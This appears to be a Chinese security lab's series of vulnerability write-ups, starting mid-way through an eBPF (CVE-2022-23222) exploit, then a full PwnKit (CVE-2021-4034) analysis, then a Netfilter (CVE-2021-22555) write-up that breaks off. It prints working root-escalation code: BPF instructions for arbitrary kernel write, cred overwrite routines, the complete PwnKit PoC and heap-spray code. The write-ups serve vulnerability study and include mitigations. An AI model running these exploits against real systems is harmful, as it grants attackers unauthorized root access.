BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

// 必需的判断,令false分支的r0变成PTR_TO_MAP_VALUE类型。
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),

// 将array指针保存进r8。
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

// 获取PTR_TO_MEM_OR_NULL类型指针,保存在r0。
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

// 复制PTR_TO_MEM_OR_NULL类型指针,副本保存在r1。
// r1 = r0
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
// r1 = r1 + 1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// 不可能发生。ringbuf的大小虽然为PAGE_SIZE,但其中一部分用于存储关于ringbuf的结构体,剩下的才用于存储数据。
// 因此,请求保留PAGE_SIZE的内存不可能实现。
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

// 经过上面的NULL检查后,verifier认为r0=0。
// 由于r1是由r0派生出来的,因此verifier也会认为r1=0。但实际上,r1=1。

// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

// verifier认为r7=8,但实际上r7=16。

// 调试发现array指针都是0xFFFF..........10
// 将该指针保存到r10-8处
// *(u64 *)(r10 - 8) = r8
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

// 向r10-16写入r7=16个字节,覆盖r10-8处的array指针。
// 写入字节为可控,可将array指针改成任意地址。
// r0 = bpf_skb_load_bytes_relative(r9, 0, r10-16, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

// 获取修改后的指针。
// r6 = *(u64 *)(r10 - 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),

// 从array map中获取从用户态传入的数据。
// r0决定写入8字节还是4字节,r1则为写入的值。
// r0 = *(u64 *)(r8 + 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
// r1 = *(u64 *)(r8 + 8)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),

// 实现任意写。
// 之所以可以写入成功,是因为verifier以为r6仍为array指针。
// if (r0 == 0) { *(u64*)r6 = r1 }
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
BPF_JMP_IMM(BPF_JA, 0, 0, 1),
// else { *(u32*)r6 = r1 }
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};

4.4 定位进程cred

调试发现,进程的 cred 有一定概率在泄露的 array 指针之后。因此需要多创建几个进程,避免利用失败。

所有进程通过 prctl(PR_SET_NAME, __ID__, 0, 0, 0) 将进程名称设置为固定字符串,在此使用 SCSLSCSL 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}

return 0;
}

之后,各进程依次尝试通过任意读原语,在 array 指针之后 PAGE_SIZE * PAGE_SIZE 大小的内核空间搜索 SCSLSCSL 字符串,来定位进程的 cred 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int find_cred(context_t *ctx)
{
for (int i = 0; i < PAGE_SIZE*PAGE_SIZE ; i++)
{
u64 val = 0;
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p", addr);
return -1;
}

// DEBUGF("addr %p = 0x%016x", addr, val);

if (memcmp(&val, __ID__, sizeof(val)) == 0) {
kaddr_t cred_from_task = addr - 0x10;

if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 8", cred_from_task);
return -1;
}

if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 0", cred_from_task);
return -1;
}

if (val != 0) {
ctx->cred = (kaddr_t)val;
DEBUGF("task struct ~ %p", cred_from_task);
DEBUGF("cred @ %p", ctx->cred);
return 0;
}


}
}

return -1;
}

4.5 实现提权

定位到进程 cred 后,即可通过任意写原语修改 cred ,实现提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int overwrite_cred(context_t *ctx)
{
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
return -1;
}

return 0;
}

参考

cve-2022-23222-linux-kernel-ebpf-lpe.txt

The Good, Bad and Compromisable Aspects of Linux eBPF - Pentera

eBPF - Introduction, Tutorials & Community Resources

eBPF Instruction Set — The Linux Kernel documentation

BPF 进阶笔记(一):BPF 程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例

bpf-helpers(7) - Linux manual page

Libbpf: A Beginners Guide

Building BPF applications with libbpf-bootstrap

BPF ring buffer

bcc/reference_guide.md at master · iovisor/bcc

CVE-2021-4034 pkexec 本地提权漏洞利用解析

0x00 作者

钱程 of IceSword Lab

0x01 漏洞基本信息

polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限

软件简介

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。

Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。

Polkit 定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。

https://wiki.archlinux.org/title/Polkit_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)

漏洞原理概括

当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。

前置知识

pkexec 是 polkit 的一个程序,可以以其他用户身份执行命令。

1
2
3
4
5
6
7
➜ pkexec --help
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

不指定 --user 参数时,缺省为 root。比如:

1
pkexec reboot

7X2MRK.png

漏洞环境搭建

环境没有特殊要求,主流 Linux 发行版都可以。

本次测试的环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ uname -a
Linux ubuntu 5.11.0-46-generic #51~20.04.1-Ubuntu SMP Fri Jan 7 06:51:40 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
~
➜ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Codename: focal
➜ gcc --version
gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
➜ pkexec --version
pkexec version 0.105

0x02 漏洞分析

对该漏洞的分析将结合已知的 POC 和 Qualys 的报告进行。

分析 POC

先来分析 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4
5 char *shell =
6 "#include <stdio.h>\n"
7 "#include <stdlib.h>\n"
8 "#include <unistd.h>\n\n"
9 "void gconv() {}\n"
10 "void gconv_init() {\n"
11 " setuid(0); setgid(0);\n"
12 " seteuid(0); setegid(0);\n"
13 " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14 " exit(0);\n"
15 "}";
16
17 int main(int argc, char *argv[]) {
18 FILE *fp;
19 system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20 system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21 fp = fopen("pwnkit/pwnkit.c", "w");
22 fprintf(fp, "%s", shell);
23 fclose(fp);
24 system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25 char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

在该 POC 中:

  1. L5-L15,即 payload,引入了一个 root 权限的 /bin/sh
  2. L19,创建目录 GCONV_PATH=.,创建文件 GCONV_PATH=./pwnkit 并添加了执行权限
  3. L20,创建目录 pwnkit,创建文件 pwnkit/gconv-modules 并写入内容 module UTF-8// PWNKIT// pwnkit 2
  4. L21-L24,把 payload 写入 pwnkit/pwnkit.c 并编译为动态链接库 pwnkit/pwnkit.so
  5. L25,一个特殊的数组
  6. L26,使用 execve 调用 pkexec,这里有个特别的参数 (char*[]){NULL},这也是整个 POC 的启动点

测试一下 POC:

7X2QxO.png

奇妙的 argc 为 0

argc 和 argv 大家都熟悉,为了后面的分析这里再介绍一下:

  • argc:即 argument count,保存运行时传递给 main 函数的参数个数。
  • argv:即 argument vector,保存运行时传递 main 函数的参数,类型是一个字符指针数组,每个元素是一个字符指针,指向一个命令行参数。
    例如:
  • argv[0] 指向程序运行时的全路径名;
  • argv[1] 指向程序在命令行中执行程序名后的第一个字符串

下面的代码就展示了 argc 和 argv 用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//t.c
#include <stdio.h>
int main(int argc, char *argv[]){
printf("argc:%d\n",argc);
for(int i=0;i<=argc;i++){
printf("argv[%d]:%s\n",i,argv[i]);
}
return 0;
}

➜ gcc t.c -o t
~/t2
➜ ./t
argc:1
argv[0]:./t
argv[1]:(null)
~/t2
➜ ./t -l
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

execve()

execve() 可以执行程序,使用该函数需要引入 unistd.h 头文件,函数原型:

1
2
int execve(const char *pathname, char *const argv[],
char *const envp[]);

我们使用前面的 t.c 来熟悉一下 execve()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
char *args[]={"./t","-l",NULL};
char *enp[]={0,NULL};
execve("./t",args,enp);
return 0;
}

➜ vim ex.c
~/t2 took 24s
➜ gcc ex.c -o ex
~/t2
➜ ./ex
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

前面 POC 中 L26,使用了 execve()

1
2
25         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);

但是参数使用方法和我们测试的不同,第二个参数使用了 (char*[]){NULL} 进行填充。我们来测试一下这样会有什么结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
//char *args[]={"./t","-l",NULL};
char *enp[]={0,NULL};
execve("./t",(char*[]){NULL},enp);
return 0;
}

~/t2
➜ vim ex.c
~/t2 took 31s
➜ gcc ex.c -o ex
~/t2
➜ ./ex
argc:0
argv[0]:(null)

此时我们发现 argc 为 0,且 argv[0] 内容为空,不再是程序本身。这有什么用呢?用处很大。

pkexec 中的越界读取

现在来分析 pkexec 的代码,其 main() 函数主要结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }

其中有两个 glib 提供的函数 g_strdup()g_find_program_in_path() ,先熟悉一下:

  • g_strdup() 复制一个字符串,声明如下:
    1
    2
    gchar *
    g_strdup (const gchar *str);
  • g_find_program_in_path() 在用户路径中定位第一个名为 program 的可执行程序,与 execvp() 定位它的方式相同。返回具有绝对路径名的已分配字符串,如果在路径中找不到程序,则返回 NULL。如果 program 已经是绝对路径,且如果 program 存在并且可执行,则返回 program 的副本,否则返回 NULL。
    1
    2
    3
    4
    gchar*
    g_find_program_in_path (
    const gchar* program
    )

再看 main() 函数中:

  • L534-L568,用来处理命令行参数
    • L534:n=1,当 argc=1 时,不会进入循环,比如:pkexec;当 argc>1时,才会进入循环,比如:pkexec --version
  • L610-L640,如果其路径不是绝对路径,会在 PATH 中搜索要执行的程序
    • L610:使用 g_strdup() 复制 argv[n] 的内容到 path,因为在 pkexecargv[n] 就是目标路径,比如:pkexec reboot
    • L629:这里判断是否是绝对路径的方法比较巧妙,使用 path[0] != '/' 来判断
    • L632:检索目标路径,返回目标路径字符串
    • L639:将返回的路径赋值给 pathargv[n]

正常情况下,这样处理的逻辑没有问题。
但如果命令行参数 argc 为 0,则会出现意外情况:

  • L534,n 永久设置为 1;
  • L610,argv[1] 发生越界读取,并把越界读取到的值赋给了 path
  • L639,指针 s 被越界写入 argv[1]

问题在于,这个越界的 argv[1] 中读取和写入的是什么?

我们需要先了解参数的内存布局,结合内核代码来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// linux5.4/fs/binfmt_elf.c:
163 static int
164 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
165 unsigned long load_addr, unsigned long interp_load_addr)
166 {
...
284 sp = STACK_ADD(p, ei_index);
...
// 布局 main 函数栈
306 /* Now, let's put argc (and argv, envp if appropriate) on the stack */
// argc 入栈
307 if (__put_user(argc, sp++))
308 return -EFAULT;
309
// argv 入栈
310 /* Populate list of argv pointers back to argv strings. */
311 p = current->mm->arg_end = current->mm->arg_start;
312 while (argc-- > 0) {
313 size_t len;
314 if (__put_user((elf_addr_t)p, sp++))
315 return -EFAULT;
316 len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
317 if (!len || len > MAX_ARG_STRLEN)
318 return -EINVAL;
319 p += len;
320 }
// argv null 入栈
321 if (__put_user(0, sp++))
322 return -EFAULT;
323 current->mm->arg_end = p;
324
// env 入栈
325 /* Populate list of envp pointers back to envp strings. */
326 current->mm->env_end = current->mm->env_start = p;
327 while (envc-- > 0) {
328 size_t len;
329 if (__put_user((elf_addr_t)p, sp++))
330 return -EFAULT;
331 len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
332 if (!len || len > MAX_ARG_STRLEN)
333 return -EINVAL;
334 p += len;
335 }
// env null 入栈
336 if (__put_user(0, sp++))
337 return -EFAULT;\
...
}

从代码中可以看出,当 execve() 一个新程序时,内核将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,main 函数参数是布局在栈上,argc、argv依次入栈(L307、L321),后面紧接着就是 env 入栈(L325-L336)。
把上面的代码简化成下面的图示:

1
2
3
4
5
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL

可以发现 argv 和 envp 指针在内存中是连续的,如果 argc 为 0,那么越界 argv[1] 实际上是 envp[0],指向第一个环境变量 value 的指针。

argv[1] 是什么解决了,那再回过来看 pkexec 的 main() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
  • L610,要执行的程序的路径从 argv[1](即 envp[0])越界读取,并指向 value
  • L632,这个路径 value 被传递给 g_find_program_in_path()
  • g_find_program_in_path() 会在 PATH 环境变量的目录中搜索一个名为 value 的可执行文件
  • 如果找到这样的可执行文件,则将其完整路径返回给 pkexec 的 main() 函数(L632)
  • 最后,L639,这个完整路径被越界写入 argv[1](即 envp[0]),覆盖了第一个环境变量。

因此只要能控制 g_find_program_in_path 返回的字符串,就可以注入任意的环境变量。

Qualys 指出如果 PATH 环境变量是 PATH=name,并且目录 name 存在(在当前工作目录中)并且包含一个名为 value 的可执行文件,则写入一个指向字符串 name/value 的指针越界到 envp[0]

进一步,让这个组合的文件名里包含等号 “=”。传入 PATH=name=. ,创建一个 name=. 目录,并在其中放一个可执行文件 value,最终 envp[0] 就会被篡改为 name=./value,也就是注入了一个新的环境变量进去。

换句话说,这种越界写入可以绕过原有的安全检查,将不安全的环境变量(例如,LD_PRELOAD)重新引入 pkexec 的环境。

寻找不安全的环境变量

新的问题是:要成功利用这个漏洞,应该将哪个不安全变量重新引入 pkexec 的环境中?我们的选择是有限的,因为在越界写入后不久(L639),pkexec 完全清除了它的环境(L702):

1
2
3
4
5
6
7
8
9
10
11
12
13
639       argv[n] = path = s;
...
657 for (n = 0; environment_variables_to_save[n] != NULL; n++)
658 {
659 const gchar *key = environment_variables_to_save[n];
...
662 value = g_getenv (key);
...
670 if (!validate_environment_variable (key, value))
...
675 }
...
702 if (clearenv () != 0)

答案来自于 pkexec 的复杂性:为了向 stderr 打印错误消息,pkexec 调用 GLib 的函数 g_printerr()(注意:GLib 是 GNOME 库,而不是 GNU C 库,即 glibc);例如,函数 validate_environment_variable()log_message() 调用 g_printerr() (L126,L408-L409):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  88 log_message (gint     level,
89 gboolean print_to_stderr,
90 const gchar *format,
91 ...)
92 {
...
125 if (print_to_stderr)
126 g_printerr ("%s\n", s);
------------------------------------------------------------------------
383 validate_environment_variable (const gchar *key,
384 const gchar *value)
385 {
...
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");

g_printerr() 通常打印 UTF-8 错误消息,但如果环境变量 CHARSET 不是 UTF-8,它可以打印另一个字符集中的消息(注意:CHARSET 不是安全敏感的,它不是不安全的环境变量)。

要将消息从 UTF-8 转换为另一个字符集,g_printerr() 调用 glibc 的函数 iconv_open()

要将消息从一个字符集转换为另一个字符集,iconv_open() 执行小型共享库;通常,这些三元组(“from”字符集、“to”字符集和库名称)是从默认配置文件 /usr/lib/gconv/gconv-modules 中读取的。但环境变量 GCONV_PATH 可以强制 iconv_open() 读取另一个配置文件;所以 GCONV_PATH 是不安全的环境变量之一(因为它会导致执行任意库),因此会被 ld.so 从 SUID 程序的环境中删除。

我们可以把 GCONV_PATH 重新引入 pkexec 的环境,并以 root 身份执行我们自己的共享库。

回顾 POC

现在我们对漏洞原理有了更深的认识,再看一看 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4
5 char *shell =
6 "#include <stdio.h>\n"
7 "#include <stdlib.h>\n"
8 "#include <unistd.h>\n\n"
9 "void gconv() {}\n"
10 "void gconv_init() {\n"
11 " setuid(0); setgid(0);\n"
12 " seteuid(0); setegid(0);\n"
13 " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14 " exit(0);\n"
15 "}";
16
17 int main(int argc, char *argv[]) {
18 FILE *fp;
19 system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20 system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21 fp = fopen("pwnkit/pwnkit.c", "w");
22 fprintf(fp, "%s", shell);
23 fclose(fp);
24 system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25 char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26 execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

需要新注意的是:

  1. L26,使用 execve 调用 pkexec(char*[]){NULL}造成 argv[1] 越界读取
  2. L25,一个特殊的数组,env[0]为 payload,env[1]引入了GCONV_PATH
  3. L20,设置非UTF-8环境,也就导致 payload 中 gconv_init 执行,造成 /bin/sh 执行,恢复环境变量得到 root shell。

0x03 漏洞总结

总结一下该漏洞的利用思路:

  1. 通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查
  2. 通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH
  3. 构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权

这个漏洞的质量非常好,利用思路也很有趣,借用一下 Qualys 对该漏洞的评价

这个漏洞是攻击者的梦想成真。

  • pkexec 默认安装在所有主要的 Linux 发行版上(我们利用了 Ubuntu、Debian、Fedora、CentOS,而其他发行版也可能利用)
  • pkexec 自 2009 年 5 月创建以来就存在漏洞(commit c8c3d83, “Add a pkexec(1) command”)
  • 任何没有特权的本地用户都可以利用这个漏洞来获得完全的 root 权限。
  • 虽然这个漏洞在技术上是一个内存损坏,但它可即时、可靠地、以独立于架构的方式加以利用。
  • 即使 polkit 守护进程本身没有运行,也可以利用。

0x04 漏洞补丁

a. 如何检测该漏洞

检查组件版本:

1
2
➜ pkexec --version
pkexec version 0.105

b. 如何防御该漏洞

及时升级组件

c. 有没有哪种通用的缓解措施可以阻断该漏洞

Qualys 在 报告 中给出了缓解措施:

1
# chmod 0755 /usr/bin/pkexec

即从 pkexec 中删除 SUID 位

RedHat 给出了针对该漏洞的缓解措施:

https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

0x05 参考

  1. CVE-2021-4034 pkexec 本地提权 - 非尝咸鱼贩 [2022-01-26]
  2. PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog
  3. https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
  4. 演示视频:PwnKit Vulnerability on Vimeo
  5. Commit:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab
  6. POC:arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
  7. oss-security - pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
  8. CVE-2021-4034:Linux Polkit 权限提升漏洞通告 - 360CERT [2022-01-26]

更早的相关研究

CVE-2021-22555漏洞分析

CVE-2021-22555漏洞分析

author: moxingyuan from iceswordlab

一、漏洞背景

CVE-2021-22555是一个存在了15年之久的内核堆溢出漏洞,它位于内核的Netfilter组件中,这个组件可以被用来实现防火墙、NAT等功能。

该漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修复。

利用这个漏洞可以导致目标系统拒绝服务,甚至实现提权、容器逃逸并执行任意代码,危害等级极高。

二、漏洞分析

漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];

t = *dstptr;
memcpy(t, ct, sizeof(*ct));
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);

tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));

*size += off;
*dstptr += tsize;
}

缓冲区溢出发生在memset(t->data + target->targetsize, 0, pad)这个语句,其本意是讲已经对齐的缓冲区多余的pad个字节清零。由于在分配内存的时候没有考虑到对齐,t->data之后只有target->targetsize个字节的有效存储空间,导致这里会发生pad个字节的溢出。通过选择不同的target,可以控制targetsize,进而控制溢出字节数pad。

要让内核执行到有漏洞的xt_compat_target_from_user函数,需要在用户空间调用setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作为第3个参数。这个操作需要用户进程拥有CAP_NET_ADMIN能力,而这个能力可以通过切换到新的用户+网络名称空间来获得。

三、EXP分析

EXP下载地址

EXP整体思路是利用堆溢出改写特殊链表的指针,进而实现UAF,最后改写特定内核结构体的函数指针来实现代码执行。

3.1 实现UAF

3.1.1 申请消息队列

通过msgget申请NUM_MSQIDS个消息队列,在EXP中NUM_MSQIDS等于4096。消息队列数目没有特殊要求,数目越多则EXP越稳定,原因后面会解释。这步是为后面的堆喷做准备。

1
2
3
4
5
6
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}

3.1.2 发送主要消息

通过msgsnd给每个消息队列都发送一个4096字节的消息,暂且称这些消息为主要消息,每个消息的内容是其所在消息队列的序号,分别为0-4095。注意这里所谓的4096字节并非指消息内容的长度,而是指消息传递到内核空间之后,内核为容纳该消息而开辟的堆缓冲区的大小,该缓冲区容纳了一个结构体msg_msg的实例和消息的实际内容,后面所提及的“消息长度”都是指内核缓冲区的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}

